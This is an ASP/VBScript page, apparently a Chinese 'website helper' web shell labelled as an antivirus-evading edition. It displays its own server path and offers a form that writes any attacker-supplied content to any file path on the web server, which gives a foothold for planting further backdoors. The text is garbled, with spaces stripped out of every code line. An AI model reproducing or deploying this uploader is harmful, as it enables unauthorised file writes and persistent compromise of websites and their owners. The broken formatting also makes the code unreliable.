<%@LANGUAGE="VBScript"CODEPAGE="936"%>
<html>
<head>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
<title>旁注-网站小助手旭方修改免杀版</title>
<styletype="text/css">
<>
</style>
<styletype="text/css">
<>
</style>
</head>
<bodybgcolor="#000000"leftmargin="0"topmargin="0"marginwidth="0"marginheight="0">
<p>
<%dimFSO%>
<%dimData%>
<%dimMyFile%>
<%onerrorresumenext%>
<%SetFSO=Server.CreateObject("Scripting.FileSystemObject")%>
<%ifTrim(request("path1"))<>""then%>
<%Data=request("path2")%>
<%SetMyFile=FSO.CreateTextFile(request("path1"),True)%>
<%MyFile.WriteData%>
<%iferr=0then%>
<%response.write"<fontcolor=#FFFF00>成功啦!:)</font>"%>
<%else%>
<%response.write"<fontcolor=#FFFF00>失败啦!:(</font>"%>
<%endif%>
<%err.clear%>
<%endif%>
<%MyFile.Close%>
<%SetMyFile=Nothing%>
<%SetFSO=Nothing%>
<%Response.write"</form>"%>
</p>
<tablewidth="100%"height="100%"border="0"cellpadding="0"cellspacing="0"bordercolor="#FFFFFF">
<tr>
<tdheight="100%">
<tablewidth="100%"border="0"cellpadding="0"cellspacing="0"bgcolor="#FFFFFF">
<tr>
<td><tablewidth="700"border="0"align="center"cellpadding="0"cellspacing="1">
<tr>
<tdbgcolor="#FFFFFF"><spanclass="black">
<%Response.write"本文件在服务器上的方位:"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<br>
<%Response.write"<formaction=''''method=post>"%>
</span></td>
</tr>
<tr>
<tdbgcolor="#FFFFFF"><spanclass="black">输入路径：<%Response.Write"<inputtype=textname=path1width=200size=81>"%>
</span></td>
</tr>
<tr>
<tdbgcolor="#FFFFFF"class="black">
<%Response.write"输入内容："%>
<%Response.write"<textareaname=path2cols=80rows=15width=32></textarea>"%>
</td>
</tr>
<tr>
<tdbgcolor="#FFFFFF"><divalign="center"><spanclass="black">
<%Response.write"<inputtype=submitvalue=西天取经>"%>
</span></div></td>
</tr>
</tr>
<tdbgcolor="#FFFFFF"class="black"><divalign="center"></a></div></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
</body>
</html>